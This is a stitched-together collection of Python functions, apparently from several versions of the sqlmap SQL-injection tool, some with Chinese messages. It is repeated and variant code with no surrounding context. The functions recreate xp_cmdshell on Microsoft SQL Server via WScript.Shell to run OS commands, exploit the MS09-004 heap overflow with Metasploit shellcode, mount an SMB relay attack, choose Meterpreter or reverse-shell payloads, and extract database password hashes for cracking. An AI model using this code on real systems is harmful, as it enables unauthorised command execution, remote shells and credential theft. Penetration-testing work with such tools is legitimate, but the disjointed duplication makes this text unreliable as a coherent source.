def __xpCmdshellCreate(self): cmd = "" if Backend.isVersionWithin(("2005", "2008")): logger.debug("activating sp_OACreate") cmd += "EXEC master..sp_configure 'show advanced options', 1; " cmd += "RECONFIGURE WITH OVERRIDE; " cmd += "EXEC master..sp_configure 'ole automation procedures', 1; " cmd += "RECONFIGURE WITH OVERRIDE; " inject.goStacked(cmd) self.__randStr = randomStr(lowercase=True) cmd += "DECLARE @%s nvarchar(999); " % self.__randStr cmd += "set @%s='" % self.__randStr cmd += "CREATE PROCEDURE xp_cmdshell(@cmd varchar(255)) AS DECLARE @ID int " cmd += "EXEC sp_OACreate ''WScript.Shell'', @ID OUT " cmd += "EXEC sp_OAMethod @ID, ''Run'', Null, @cmd, 0, 1 " cmd += "EXEC sp_OADestroy @ID'; " cmd += "EXEC master..sp_executesql @%s;" % self.__randStr if Backend.isVersionWithin(("2005", "2008")): cmd += " RECONFIGURE WITH OVERRIDE;" inject.goStacked(cmd)
def _sandBoxCheck(self): # Reference: http://milw0rm.com/papers/198 retVal = None table = None if Backend.isVersionWithin(("97", "2000")): table = "MSysAccessObjects" elif Backend.isVersionWithin(("2002-2003", "2007")): table = "MSysAccessStorage" if table is not None: result = inject.checkBooleanExpression("EXISTS(SELECT CURDIR() FROM %s)" % table) retVal = "not sandboxed" if result else "sandboxed" return retVal
def osBof(self): if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and not conf.direct: return if not Backend.isDbms(DBMS.MSSQL) or not Backend.isVersionWithin(("2000", "2005")): errMsg = "the back-end DBMS must be Microsoft SQL Server " errMsg += "2000 or 2005 to be able to exploit the heap-based " errMsg += "buffer overflow in the 'sp_replwritetovarbin' " errMsg += "stored procedure (MS09-004)" raise SqlmapUnsupportedDBMSException(errMsg) infoMsg = "going to exploit the Microsoft SQL Server %s " % Backend.getVersion() infoMsg += "'sp_replwritetovarbin' stored procedure heap-based " infoMsg += "buffer overflow (MS09-004)" logger.info(infoMsg) msg = "this technique is likely to DoS the DBMS process, are you " msg += "sure that you want to carry with the exploit? [y/N] " inp = readInput(msg, default="N") if inp and inp[0].lower() == "y": dos = True else: dos = False if dos: self.initEnv(mandatory=False, detailed=True) self.getRemoteTempPath() self.createMsfShellcode(exitfunc="seh", format="raw", extra="-b 27", encode=True) self.bof()
def __xpCmdshellConfigure(self, mode): if Backend.isVersionWithin(("2005", "2008")): cmd = self.__xpCmdshellConfigure2005(mode) else: cmd = self.__xpCmdshellConfigure2000(mode) inject.goStacked(agent.runAsDBMSUser(cmd))
def getUsers(self): infoMsg = "fetching database users" logger.info(infoMsg) rootQuery = queries[Backend.getIdentifiedDbms()].users condition = (Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008"))) condition |= (Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema) if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: if condition: query = rootQuery.inband.query2 else: query = rootQuery.inband.query values = inject.getValue(query, blind=False, time=False) if not isNoneValue(values): kb.data.cachedUsers = [] for value in arrayizeValue(values): value = unArrayizeValue(value) if not isNoneValue(value): kb.data.cachedUsers.append(value) if not kb.data.cachedUsers and isInferenceAvailable() and not conf.direct: infoMsg = "fetching number of database users" logger.info(infoMsg) if condition: query = rootQuery.blind.count2 else: query = rootQuery.blind.count count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if count == 0: return kb.data.cachedUsers elif not isNumPosStrValue(count): errMsg = "unable to retrieve the number of database users" raise SqlmapNoneDataException(errMsg) plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) indexRange = getLimitRange(count, plusOne=plusOne) for index in indexRange: if Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MAXDB): query = rootQuery.blind.query % (kb.data.cachedUsers[-1] if kb.data.cachedUsers else " ") elif condition: query = rootQuery.blind.query2 % index else: query = rootQuery.blind.query % index user = unArrayizeValue(inject.getValue(query, union=False, error=False)) if user: kb.data.cachedUsers.append(user) if not kb.data.cachedUsers: errMsg = "unable to retrieve the database users" logger.error(errMsg) return kb.data.cachedUsers
def _xpCmdshellCreate(self): cmd = "" if not Backend.isVersionWithin(("2000",)): logger.debug("activating sp_OACreate") cmd = getSQLSnippet(DBMS.MSSQL, "activate_sp_oacreate") inject.goStacked(agent.runAsDBMSUser(cmd)) self._randStr = randomStr(lowercase=True) self.xpCmdshellStr = "master..new_xp_cmdshell" cmd = getSQLSnippet(DBMS.MSSQL, "create_new_xp_cmdshell", RANDSTR=self._randStr) if not Backend.isVersionWithin(("2000",)): cmd += ";RECONFIGURE WITH OVERRIDE" inject.goStacked(agent.runAsDBMSUser(cmd))
def __xpCmdshellCreate(self): cmd = "" if Backend.isVersionWithin(("2005", "2008")): logger.debug("activating sp_OACreate") cmd = getSQLSnippet(DBMS.MSSQL, "activate_sp_oacreate") inject.goStacked(agent.runAsDBMSUser(cmd)) self.__randStr = randomStr(lowercase=True) self.__xpCmdshellNew = "xp_%s" % randomStr(lowercase=True) self.xpCmdshellStr = "master..%s" % self.__xpCmdshellNew cmd = getSQLSnippet(DBMS.MSSQL, "create_new_xp_cmdshell", RANDSTR=self.__randStr, XP_CMDSHELL_NEW=self.__xpCmdshellNew) if Backend.isVersionWithin(("2005", "2008")): cmd += ";RECONFIGURE WITH OVERRIDE" inject.goStacked(agent.runAsDBMSUser(cmd))
def osSmb(self): self.checkDbmsOs() if not Backend.isOs(OS.WINDOWS): errMsg = "the back-end DBMS underlying operating system is " errMsg += "not Windows: it is not possible to perform the SMB " errMsg += "relay attack" raise SqlmapUnsupportedDBMSException(errMsg) if not isStackingAvailable() and not conf.direct: if Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.MSSQL): errMsg = "on this back-end DBMS it is only possible to " errMsg += "perform the SMB relay attack if stacked " errMsg += "queries are supported" raise SqlmapUnsupportedDBMSException(errMsg) elif Backend.isDbms(DBMS.MYSQL): debugMsg = "since stacked queries are not supported, " debugMsg += "sqlmap is going to perform the SMB relay " debugMsg += "attack via inference blind SQL injection" logger.debug(debugMsg) printWarn = True warnMsg = "it is unlikely that this attack will be successful " if Backend.isDbms(DBMS.MYSQL): warnMsg += "because by default MySQL on Windows runs as " warnMsg += "Local System which is not a real user, it does " warnMsg += "not send the NTLM session hash when connecting to " warnMsg += "a SMB service" elif Backend.isDbms(DBMS.PGSQL): warnMsg += "because by default PostgreSQL on Windows runs " warnMsg += "as postgres user which is a real user of the " warnMsg += "system, but not within the Administrators group" elif Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin( ("2005", "2008")): warnMsg += "because often Microsoft SQL Server %s " % Backend.getVersion( ) warnMsg += "runs as Network Service which is not a real user, " warnMsg += "it does not send the NTLM session hash when " warnMsg += "connecting to a SMB service" else: printWarn = False if printWarn: logger.warn(warnMsg) self.smb()
def osSmb(self): self.checkDbmsOs() if not Backend.isOs(OS.WINDOWS): errMsg = "the back-end DBMS underlying operating system is " errMsg += "not Windows: it is not possible to perform the SMB " errMsg += "relay attack" raise SqlmapUnsupportedDBMSException(errMsg) if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and not conf.direct: if Backend.getIdentifiedDbms() in ( DBMS.PGSQL, DBMS.MSSQL ): errMsg = "on this back-end DBMS it is only possible to " errMsg += "perform the SMB relay attack if stacked " errMsg += "queries are supported" raise SqlmapUnsupportedDBMSException(errMsg) elif Backend.isDbms(DBMS.MYSQL): debugMsg = "since stacked queries are not supported, " debugMsg += "sqlmap is going to perform the SMB relay " debugMsg += "attack via inference blind SQL injection" logger.debug(debugMsg) printWarn = True warnMsg = "it is unlikely that this attack will be successful " if Backend.isDbms(DBMS.MYSQL): warnMsg += "because by default MySQL on Windows runs as " warnMsg += "Local System which is not a real user, it does " warnMsg += "not send the NTLM session hash when connecting to " warnMsg += "a SMB service" elif Backend.isDbms(DBMS.PGSQL): warnMsg += "because by default PostgreSQL on Windows runs " warnMsg += "as postgres user which is a real user of the " warnMsg += "system, but not within the Administrators group" elif Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")): warnMsg += "because often Microsoft SQL Server %s " % Backend.getVersion() warnMsg += "runs as Network Service which is not a real user, " warnMsg += "it does not send the NTLM session hash when " warnMsg += "connecting to a SMB service" else: printWarn = False if printWarn: logger.warn(warnMsg) self.smb()
def osBof(self): if not isStackingAvailable() and not conf.direct: return if not Backend.isDbms(DBMS.MSSQL) or not Backend.isVersionWithin( ("2000", "2005")): errMsg = "后端DBMS必须是Microsoft SQL Server 2000或2005才能够利用“sp_replwritetovarbin”存储过程(MS09-004)中基于堆的缓冲区溢出" raise SqlmapUnsupportedDBMSException(errMsg) infoMsg = "将利用Microsoft SQL Server %s“sp_replwritetovarbin”存储过程基于堆的缓冲区溢出(MS09-004)" logger.info(infoMsg) msg = "这种技术很可能是DoS的DBMS过程,你确定要利用这个漏洞? [y/N] " if readInput(msg, default='N', boolean=True): self.initEnv(mandatory=False, detailed=True) self.getRemoteTempPath() self.createMsfShellcode(exitfunc="seh", format="raw", extra="-b 27", encode=True) self.bof()
def osBof(self): if not isStackingAvailable() and not conf.direct: return if not Backend.isDbms(DBMS.MSSQL) or not Backend.isVersionWithin(("2000", "2005")): errMsg = "the back-end DBMS must be Microsoft SQL Server " errMsg += "2000 or 2005 to be able to exploit the heap-based " errMsg += "buffer overflow in the 'sp_replwritetovarbin' " errMsg += "stored procedure (MS09-004)" raise SqlmapUnsupportedDBMSException(errMsg) infoMsg = "going to exploit the Microsoft SQL Server %s " % Backend.getVersion() infoMsg += "'sp_replwritetovarbin' stored procedure heap-based " infoMsg += "buffer overflow (MS09-004)" logger.info(infoMsg) msg = "this technique is likely to DoS the DBMS process, are you " msg += "sure that you want to carry with the exploit? [y/N] " if readInput(msg, default='N', boolean=True): self.initEnv(mandatory=False, detailed=True) self.getRemoteTempPath() self.createMsfShellcode(exitfunc="seh", format="raw", extra="-b 27", encode=True) self.bof()
def osSmb(self): self.checkDbmsOs() if not Backend.isOs(OS.WINDOWS): errMsg = "后端DBMS底层操作系统不是Windows:不可能执行SMB中继攻击" raise SqlmapUnsupportedDBMSException(errMsg) if not isStackingAvailable() and not conf.direct: if Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.MSSQL): errMsg = "在这个后端DBMS中,只有支持堆叠(多语句)查询才可能执行SMB中继攻击" raise SqlmapUnsupportedDBMSException(errMsg) elif Backend.isDbms(DBMS.MYSQL): debugMsg = "由于不支持堆叠查询,sqlmap将通过推测SQL盲注入执行SMB中继攻击" logger.debug(debugMsg) printWarn = True warnMsg = "这次攻击不太可能成功 " if Backend.isDbms(DBMS.MYSQL): warnMsg += "因为默认情况下,MySQL在Windows上运行的本地系统不是真正的用户,它在连接到SMB服务时不会发送NTLM会话哈希session hash" elif Backend.isDbms(DBMS.PGSQL): warnMsg += "因为默认情况下PostgreSQL作为postgres用户运行,该用户是系统的真正用户,但不在Administrators组内" elif Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin( ("2005", "2008")): warnMsg += "因为通常Microsoft SQL Server %s 作为网络服务运行,而不是真正的用户,它在连接到SMB服务时不发送NTLM会话哈希" % Backend.getVersion( ) else: printWarn = False if printWarn: logger.warn(warnMsg) self.smb()
def __selectPayload(self): if kb.os == "Windows" and conf.privEsc: infoMsg = "forcing Metasploit payload to Meterpreter because " infoMsg += "it is the only payload that can be used to " infoMsg += "escalate privileges, either via 'incognito' " infoMsg += "extension or via 'getsystem' command" logger.info(infoMsg) __payloadStr = "windows/meterpreter" else: __payloadStr = self.__skeletonSelection("payload", self.__msfPayloadsList) if __payloadStr == "windows/vncinject": choose = False if Backend.getIdentifiedDbms() == DBMS.MYSQL: debugMsg = "by default MySQL on Windows runs as SYSTEM " debugMsg += "user, it is likely that the the VNC " debugMsg += "injection will be successful" logger.debug(debugMsg) elif Backend.getIdentifiedDbms() == DBMS.PGSQL: choose = True warnMsg = "by default PostgreSQL on Windows runs as " warnMsg += "postgres user, it is unlikely that the VNC " warnMsg += "injection will be successful" logger.warn(warnMsg) elif Backend.getIdentifiedDbms( ) == DBMS.MSSQL and Backend.isVersionWithin(("2005", "2008")): choose = True warnMsg = "it is unlikely that the VNC injection will be " warnMsg += "successful because usually Microsoft SQL Server " warnMsg += "%s runs as Network Service " % Backend.getVersion() warnMsg += "or the Administrator is not logged in" logger.warn(warnMsg) if choose: message = "what do you want to do?\n" message += "[1] Give it a try anyway\n" message += "[2] Fall back to Meterpreter payload (default)\n" message += "[3] Fall back to Shell payload" while True: choice = readInput(message, default="2") if not choice or choice == "2": __payloadStr = "windows/meterpreter" break elif choice == "3": __payloadStr = "windows/shell" break elif choice == "1": if Backend.getIdentifiedDbms() == DBMS.PGSQL: logger.warn( "beware that the VNC injection might not work") break elif Backend.getIdentifiedDbms( ) == DBMS.MSSQL and Backend.isVersionWithin( ("2005", "2008")): break elif not choice.isdigit(): logger.warn("invalid value, only digits are allowed") elif int(choice) < 1 or int(choice) > 2: logger.warn("invalid value, it must be 1 or 2") return __payloadStr
def getUsers(self): infoMsg = "fetching database users" logger.info(infoMsg) rootQuery = queries[Backend.getIdentifiedDbms()].users condition = (Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin( ("2005", "2008"))) condition |= (Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema) if any( isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)) or conf.direct: if condition: query = rootQuery.inband.query2 else: query = rootQuery.inband.query value = inject.getValue(query, blind=False) if not isNoneValue(value): kb.data.cachedUsers = arrayizeValue(value) if not kb.data.cachedUsers and isInferenceAvailable( ) and not conf.direct: infoMsg = "fetching number of database users" logger.info(infoMsg) if condition: query = rootQuery.blind.count2 else: query = rootQuery.blind.count count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): errMsg = "unable to retrieve the number of database users" raise sqlmapNoneDataException, errMsg plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) indexRange = getLimitRange(count, plusOne=plusOne) for index in indexRange: if Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MAXDB): query = rootQuery.blind.query % (kb.data.cachedUsers[-1] if kb.data.cachedUsers else " ") elif condition: query = rootQuery.blind.query2 % index else: query = rootQuery.blind.query % index user = inject.getValue(query, inband=False, error=False) if user: kb.data.cachedUsers.append(user) if not kb.data.cachedUsers: errMsg = "unable to retrieve the database users" raise sqlmapNoneDataException, errMsg return kb.data.cachedUsers
def _selectPayload(self): if Backend.isOs(OS.WINDOWS) and conf.privEsc: infoMsg = "forcing Metasploit payload to Meterpreter because " infoMsg += "it is the only payload that can be used to " infoMsg += "escalate privileges via 'incognito' extension, " infoMsg += "'getsystem' command or post modules" logger.info(infoMsg) _payloadStr = "windows/meterpreter" else: _payloadStr = self._skeletonSelection("payload", self._msfPayloadsList) if _payloadStr == "windows/vncinject": choose = False if Backend.isDbms(DBMS.MYSQL): debugMsg = "by default MySQL on Windows runs as SYSTEM " debugMsg += "user, it is likely that the the VNC " debugMsg += "injection will be successful" logger.debug(debugMsg) elif Backend.isDbms(DBMS.PGSQL): choose = True warnMsg = "by default PostgreSQL on Windows runs as " warnMsg += "postgres user, it is unlikely that the VNC " warnMsg += "injection will be successful" logger.warn(warnMsg) elif Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin( ("2005", "2008")): choose = True warnMsg = "it is unlikely that the VNC injection will be " warnMsg += "successful because usually Microsoft SQL Server " warnMsg += "%s runs as Network Service " % Backend.getVersion() warnMsg += "or the Administrator is not logged in" logger.warn(warnMsg) if choose: message = "what do you want to do?\n" message += "[1] Give it a try anyway\n" message += "[2] Fall back to Meterpreter payload (default)\n" message += "[3] Fall back to Shell payload" while True: choice = readInput(message, default="2") if not choice or choice == "2": _payloadStr = "windows/meterpreter" break elif choice == "3": _payloadStr = "windows/shell" break elif choice == "1": if Backend.isDbms(DBMS.PGSQL): logger.warn( "beware that the VNC injection might not work") break elif Backend.isDbms( DBMS.MSSQL) and Backend.isVersionWithin( ("2005", "2008")): break elif not choice.isdigit(): logger.warn("invalid value, only digits are allowed") elif int(choice) < 1 or int(choice) > 2: logger.warn("invalid value, it must be 1 or 2") if self.connectionStr.startswith( "reverse_http") and _payloadStr != "windows/meterpreter": warnMsg = "Reverse HTTP%s connection is only supported " % ( "S" if self.connectionStr.endswith("s") else "") warnMsg += "with the Meterpreter payload. Falling back to " warnMsg += "reverse TCP" logger.warn(warnMsg) self.connectionStr = "reverse_tcp" return _payloadStr
def getPasswordHashes(self): infoMsg = "fetching database users password hashes" rootQuery = queries[Backend.getIdentifiedDbms()].passwords if conf.user == "CU": infoMsg += " for current user" conf.user = self.getCurrentUser() logger.info(infoMsg) if conf.user and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): conf.user = conf.user.upper() if conf.user: users = conf.user.split(',') if Backend.isDbms(DBMS.MYSQL): for user in users: parsedUser = re.search("[\047]*(.*?)[\047]*\@", user) if parsedUser: users[users.index(user)] = parsedUser.groups()[0] else: users = [] users = filter(None, users) if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")): query = rootQuery.inband.query2 else: query = rootQuery.inband.query condition = rootQuery.inband.condition if conf.user: query += " WHERE " query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users)) if Backend.isDbms(DBMS.SYBASE): randStr = randomStr() getCurrentThreadData().disableStdOut = True retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr, '%s.password' % randStr], blind=False) if retVal: for user, password in filterPairValues(zip(retVal[0]["%s.name" % randStr], retVal[0]["%s.password" % randStr])): if user not in kb.data.cachedUsersPasswords: kb.data.cachedUsersPasswords[user] = [password] else: kb.data.cachedUsersPasswords[user].append(password) getCurrentThreadData().disableStdOut = False else: values = inject.getValue(query, blind=False, time=False) for user, password in filterPairValues(values): if not user or user == " ": continue password = parsePasswordHash(password) if user not in kb.data.cachedUsersPasswords: kb.data.cachedUsersPasswords[user] = [password] else: kb.data.cachedUsersPasswords[user].append(password) if not kb.data.cachedUsersPasswords and isInferenceAvailable() and not conf.direct: if not len(users): users = self.getUsers() if Backend.isDbms(DBMS.MYSQL): for user in users: parsedUser = re.search("[\047]*(.*?)[\047]*\@", user) if parsedUser: users[users.index(user)] = parsedUser.groups()[0] if Backend.isDbms(DBMS.SYBASE): getCurrentThreadData().disableStdOut = True randStr = randomStr() query = rootQuery.inband.query retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr, '%s.password' % randStr], blind=True) if retVal: for user, password in filterPairValues(zip(retVal[0]["%s.name" % randStr], retVal[0]["%s.password" % randStr])): password = "******" % hexencode(password).upper() if user not in kb.data.cachedUsersPasswords: kb.data.cachedUsersPasswords[user] = [password] else: kb.data.cachedUsersPasswords[user].append(password) getCurrentThreadData().disableStdOut = False else: retrievedUsers = set() for user in users: user = unArrayizeValue(user) if user in retrievedUsers: continue if Backend.isDbms(DBMS.INFORMIX): count = 1 else: infoMsg = "fetching number of password hashes " infoMsg += "for user '%s'" % user logger.info(infoMsg) if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")): query = rootQuery.blind.count2 % user else: query = rootQuery.blind.count % user count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): warnMsg = "unable to retrieve the number of password " warnMsg += "hashes for user '%s'" % user logger.warn(warnMsg) continue infoMsg = "fetching password hashes for user '%s'" % user logger.info(infoMsg) passwords = [] plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) indexRange = getLimitRange(count, plusOne=plusOne) for index in indexRange: if Backend.isDbms(DBMS.MSSQL): if Backend.isVersionWithin(("2005", "2008")): query = rootQuery.blind.query2 % (user, index, user) else: query = rootQuery.blind.query % (user, index, user) elif Backend.isDbms(DBMS.INFORMIX): query = rootQuery.blind.query % (user,) else: query = rootQuery.blind.query % (user, index) password = unArrayizeValue(inject.getValue(query, union=False, error=False)) password = parsePasswordHash(password) passwords.append(password) if passwords: kb.data.cachedUsersPasswords[user] = passwords else: warnMsg = "unable to retrieve the password " warnMsg += "hashes for user '%s'" % user logger.warn(warnMsg) retrievedUsers.add(user) if not kb.data.cachedUsersPasswords: errMsg = "unable to retrieve the password hashes for the " errMsg += "database users (probably because the session " errMsg += "user has no read privileges over the relevant " errMsg += "system database table)" logger.error(errMsg) else: for user in kb.data.cachedUsersPasswords: kb.data.cachedUsersPasswords[user] = list(set(kb.data.cachedUsersPasswords[user])) storeHashesToFile(kb.data.cachedUsersPasswords) message = "do you want to perform a dictionary-based attack " message += "against retrieved password hashes? [Y/n/q]" choice = readInput(message, default='Y').upper() if choice == 'N': pass elif choice == 'Q': raise SqlmapUserQuitException else: attackCachedUsersPasswords() return kb.data.cachedUsersPasswords
def getPasswordHashes(self): infoMsg = "fetching database users password hashes" rootQuery = queries[Backend.getIdentifiedDbms()].passwords if conf.user == CURRENT_USER: infoMsg += " for current user" conf.user = self.getCurrentUser() logger.info(infoMsg) if conf.user and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): conf.user = conf.user.upper() if conf.user: users = conf.user.split(',') if Backend.isDbms(DBMS.MYSQL): for user in users: parsedUser = re.search(r"['\"]?(.*?)['\"]?\@", user) if parsedUser: users[users.index(user)] = parsedUser.groups()[0] else: users = [] users = [_ for _ in users if _] if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")): query = rootQuery.inband.query2 else: query = rootQuery.inband.query condition = rootQuery.inband.condition if conf.user: query += " WHERE " query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users)) if Backend.isDbms(DBMS.SYBASE): getCurrentThreadData().disableStdOut = True retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName, '%s.password' % kb.aliasName], blind=False) if retVal: for user, password in filterPairValues(_zip(retVal[0]["%s.name" % kb.aliasName], retVal[0]["%s.password" % kb.aliasName])): if user not in kb.data.cachedUsersPasswords: kb.data.cachedUsersPasswords[user] = [password] else: kb.data.cachedUsersPasswords[user].append(password) getCurrentThreadData().disableStdOut = False else: values = inject.getValue(query, blind=False, time=False) if Backend.isDbms(DBMS.MSSQL) and isNoneValue(values): values = inject.getValue(query.replace("master.dbo.fn_varbintohexstr", "sys.fn_sqlvarbasetostr"), blind=False, time=False) elif Backend.isDbms(DBMS.MYSQL) and (isNoneValue(values) or all(len(value) == 2 and (isNullValue(value[1]) or isNoneValue(value[1])) for value in values)): values = inject.getValue(query.replace("authentication_string", "password"), blind=False, time=False) for user, password in filterPairValues(values): if not user or user == " ": continue password = parsePasswordHash(password) if user not in kb.data.cachedUsersPasswords: kb.data.cachedUsersPasswords[user] = [password] else: kb.data.cachedUsersPasswords[user].append(password) if not kb.data.cachedUsersPasswords and isInferenceAvailable() and not conf.direct: fallback = False if not len(users): users = self.getUsers() if Backend.isDbms(DBMS.MYSQL): for user in users: parsedUser = re.search(r"['\"]?(.*?)['\"]?\@", user) if parsedUser: users[users.index(user)] = parsedUser.groups()[0] if Backend.isDbms(DBMS.SYBASE): getCurrentThreadData().disableStdOut = True query = rootQuery.inband.query retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName, '%s.password' % kb.aliasName], blind=True) if retVal: for user, password in filterPairValues(_zip(retVal[0]["%s.name" % kb.aliasName], retVal[0]["%s.password" % kb.aliasName])): password = "******" % encodeHex(password, binary=False).upper() if user not in kb.data.cachedUsersPasswords: kb.data.cachedUsersPasswords[user] = [password] else: kb.data.cachedUsersPasswords[user].append(password) getCurrentThreadData().disableStdOut = False else: retrievedUsers = set() for user in users: user = unArrayizeValue(user) if user in retrievedUsers: continue if Backend.isDbms(DBMS.INFORMIX): count = 1 else: infoMsg = "fetching number of password hashes " infoMsg += "for user '%s'" % user logger.info(infoMsg) if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")): query = rootQuery.blind.count2 % user else: query = rootQuery.blind.count % user count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): if Backend.isDbms(DBMS.MSSQL): fallback = True count = inject.getValue(query.replace("master.dbo.fn_varbintohexstr", "sys.fn_sqlvarbasetostr"), union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) elif Backend.isDbms(DBMS.MYSQL): fallback = True count = inject.getValue(query.replace("authentication_string", "password"), union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): warnMsg = "unable to retrieve the number of password " warnMsg += "hashes for user '%s'" % user logger.warn(warnMsg) continue infoMsg = "fetching password hashes for user '%s'" % user logger.info(infoMsg) passwords = [] plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) indexRange = getLimitRange(count, plusOne=plusOne) for index in indexRange: if Backend.isDbms(DBMS.MSSQL): if Backend.isVersionWithin(("2005", "2008")): query = rootQuery.blind.query2 % (user, index, user) else: query = rootQuery.blind.query % (user, index, user) if fallback: query = query.replace("master.dbo.fn_varbintohexstr", "sys.fn_sqlvarbasetostr") elif Backend.isDbms(DBMS.INFORMIX): query = rootQuery.blind.query % (user,) elif Backend.isDbms(DBMS.HSQLDB): query = rootQuery.blind.query % (index, user) else: query = rootQuery.blind.query % (user, index) if Backend.isDbms(DBMS.MYSQL): if fallback: query = query.replace("authentication_string", "password") password = unArrayizeValue(inject.getValue(query, union=False, error=False)) password = parsePasswordHash(password) passwords.append(password) if passwords: kb.data.cachedUsersPasswords[user] = passwords else: warnMsg = "unable to retrieve the password " warnMsg += "hashes for user '%s'" % user logger.warn(warnMsg) retrievedUsers.add(user) if not kb.data.cachedUsersPasswords: errMsg = "unable to retrieve the password hashes for the " errMsg += "database users (probably because the DBMS " errMsg += "current user has no read privileges over the relevant " errMsg += "system database table(s))" logger.error(errMsg) else: for user in kb.data.cachedUsersPasswords: kb.data.cachedUsersPasswords[user] = list(set(kb.data.cachedUsersPasswords[user])) storeHashesToFile(kb.data.cachedUsersPasswords) message = "do you want to perform a dictionary-based attack " message += "against retrieved password hashes? [Y/n/q]" choice = readInput(message, default='Y').upper() if choice == 'N': pass elif choice == 'Q': raise SqlmapUserQuitException else: attackCachedUsersPasswords() return kb.data.cachedUsersPasswords
def _selectPayload(self): if Backend.isOs(OS.WINDOWS) and conf.privEsc: infoMsg = "forcing Metasploit payload to Meterpreter because " infoMsg += "it is the only payload that can be used to " infoMsg += "escalate privileges via 'incognito' extension, " infoMsg += "'getsystem' command or post modules" logger.info(infoMsg) _payloadStr = "windows/meterpreter" else: _payloadStr = self._skeletonSelection("payload", self._msfPayloadsList) if _payloadStr == "windows/vncinject": choose = False if Backend.isDbms(DBMS.MYSQL): debugMsg = "by default MySQL on Windows runs as SYSTEM " debugMsg += "user, it is likely that the the VNC " debugMsg += "injection will be successful" logger.debug(debugMsg) elif Backend.isDbms(DBMS.PGSQL): choose = True warnMsg = "by default PostgreSQL on Windows runs as " warnMsg += "postgres user, it is unlikely that the VNC " warnMsg += "injection will be successful" logger.warn(warnMsg) elif Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")): choose = True warnMsg = "it is unlikely that the VNC injection will be " warnMsg += "successful because usually Microsoft SQL Server " warnMsg += "%s runs as Network Service " % Backend.getVersion() warnMsg += "or the Administrator is not logged in" logger.warn(warnMsg) if choose: message = "what do you want to do?\n" message += "[1] Give it a try anyway\n" message += "[2] Fall back to Meterpreter payload (default)\n" message += "[3] Fall back to Shell payload" while True: choice = readInput(message, default="2") if not choice or choice == "2": _payloadStr = "windows/meterpreter" break elif choice == "3": _payloadStr = "windows/shell" break elif choice == "1": if Backend.isDbms(DBMS.PGSQL): logger.warn("beware that the VNC injection might not work") break elif Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")): break elif not choice.isdigit(): logger.warn("invalid value, only digits are allowed") elif int(choice) < 1 or int(choice) > 2: logger.warn("invalid value, it must be 1 or 2") if self.connectionStr.startswith("reverse_http") and _payloadStr != "windows/meterpreter": warnMsg = "Reverse HTTP%s connection is only supported " % ("S" if self.connectionStr.endswith("s") else "") warnMsg += "with the Meterpreter payload. Falling back to " warnMsg += "reverse TCP" logger.warn(warnMsg) self.connectionStr = "reverse_tcp" return _payloadStr
